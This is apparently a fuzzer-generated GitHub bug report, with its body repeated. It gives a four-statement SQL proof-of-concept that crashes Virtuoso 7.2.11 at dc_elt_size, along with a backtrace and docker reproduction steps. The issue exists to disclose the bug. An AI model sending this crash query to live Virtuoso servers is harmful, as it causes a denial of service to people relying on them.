The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v2 INTEGER UNIQUE , v1 INTEGER CHECK ( COALESCE ( v1 ) = v2 ) ) ; 
  INSERT INTO v0 ( v1 ) VALUES ( 2 ) ; 
  CREATE TABLE v3 ( v4 VARCHAR ( 255 ) ) ; 
  SELECT '%password%' FROM v3 LEFT JOIN v0 ON v3 . v4 = v0 . v2 GROUP BY COALESCE ( v2 ) , v1 , v1 ; 
```

backtrace:
```c
#0 0x878b3b (dc_elt_size+0x1b)
#1 0x426880 (gb_values+0x140)
#2 0x44184a (setp_chash_fill_1i_d+0x1fa)
#3 0x442614 (setp_chash_fill+0x2c4)
#4 0x63bd87 (setp_node_run+0xa7)
#5 0x63cc23 (setp_node_input+0x33)
#6 0x7af05e (qn_input+0x3ce)
#7 0x7af78f (qn_ts_send_output+0x23f)
#8 0x7b59cb (table_source_input_unique+0x67b)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7af78f (qn_ts_send_output+0x23f)
#11 0x7b509e (table_source_input+0x16ee)
#12 0x7af05e (qn_input+0x3ce)
#13 0x44c979 (chash_fill_input+0x589)
#14 0x5370af (hash_fill_node_input+0xef)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7af4c6 (qn_send_output+0x236)
#17 0x8214bd (set_ctr_vec_input+0x99d)
#18 0x7af05e (qn_input+0x3ce)
#19 0x7c084b (qr_exec+0x11db)
#20 0x7ce1d6 (sf_sql_execute+0x11a6)
#21 0x7cecde (sf_sql_execute_w+0x17e)
#22 0x7d799d (sf_sql_execute_wrapper+0x3d)
#23 0xe214bc (future_wrapper+0x3fc)
#24 0xe28dbe (_thread_boot+0x11e)
#25 0x7fb4b3c2f609 (start_thread+0xd9)
#26 0x7fb4b39ff133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `dc_elt_size`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `dc_elt_size`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the latest branch.
```SQL
CREATE TABLE v0 ( v2 INTEGER UNIQUE , v1 INTEGER CHECK ( COALESCE ( v1 ) = v2 ) ) ; 
  INSERT INTO v0 ( v1 ) VALUES ( 2 ) ; 
  CREATE TABLE v3 ( v4 VARCHAR ( 255 ) ) ; 
  SELECT '%password%' FROM v3 LEFT JOIN v0 ON v3 . v4 = v0 . v2 GROUP BY COALESCE ( v2 ) , v1 , v1 ; 
```

backtrace:
```c
#0 0x878b3b (dc_elt_size+0x1b)
#1 0x426880 (gb_values+0x140)
#2 0x44184a (setp_chash_fill_1i_d+0x1fa)
#3 0x442614 (setp_chash_fill+0x2c4)
#4 0x63bd87 (setp_node_run+0xa7)
#5 0x63cc23 (setp_node_input+0x33)
#6 0x7af05e (qn_input+0x3ce)
#7 0x7af78f (qn_ts_send_output+0x23f)
#8 0x7b59cb (table_source_input_unique+0x67b)
#9 0x7af05e (qn_input+0x3ce)
#10 0x7af78f (qn_ts_send_output+0x23f)
#11 0x7b509e (table_source_input+0x16ee)
#12 0x7af05e (qn_input+0x3ce)
#13 0x44c979 (chash_fill_input+0x589)
#14 0x5370af (hash_fill_node_input+0xef)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7af4c6 (qn_send_output+0x236)
#17 0x8214bd (set_ctr_vec_input+0x99d)
#18 0x7af05e (qn_input+0x3ce)
#19 0x7c084b (qr_exec+0x11db)
#20 0x7ce1d6 (sf_sql_execute+0x11a6)
#21 0x7cecde (sf_sql_execute_w+0x17e)
#22 0x7d799d (sf_sql_execute_wrapper+0x3d)
#23 0xe214bc (future_wrapper+0x3fc)
#24 0xe28dbe (_thread_boot+0x11e)
#25 0x7fb4b3c2f609 (start_thread+0xd9)
#26 0x7fb4b39ff133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.11
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the `dc_elt_size` function of Virtuoso 7.2.11 can be triggered by executing a specific SQL sequence, leading to a Denial of Service (DoS). The issue arises from the way the SQL statements interact with the database's internal structures, causing a crash when certain conditions are met.